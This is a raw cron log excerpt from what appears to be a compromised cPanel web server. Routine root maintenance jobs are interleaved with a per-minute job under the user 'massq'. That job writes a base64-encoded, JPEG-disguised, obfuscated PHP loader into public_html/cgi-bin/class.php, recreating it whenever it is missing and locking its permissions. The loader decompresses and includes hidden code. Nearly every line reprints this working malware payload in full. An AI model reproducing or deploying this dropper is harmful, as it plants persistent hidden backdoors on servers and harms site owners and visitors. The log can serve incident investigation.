Nov 10 07:13:01 server CROND[12389]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:14:01 server CROND[13192]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:15:01 server CROND[14101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 07:15:01 server CROND[14102]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:15:01 server CROND[14103]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 07:16:01 server CROND[14961]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:17:01 server CROND[15990]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:18:01 server CROND[16816]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:19:01 server CROND[17646]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:20:01 server CROND[18269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 07:20:01 server CROND[18271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 07:20:01 server CROND[18272]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 07:20:01 server CROND[18273]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 07:20:01 server CROND[18274]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:21:01 server CROND[18711]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:22:01 server CROND[19524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:23:01 server CROND[20334]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:24:01 server CROND[21143]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:25:01 server CROND[21589]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 07:25:01 server CROND[21591]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 07:25:02 server CROND[21594]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
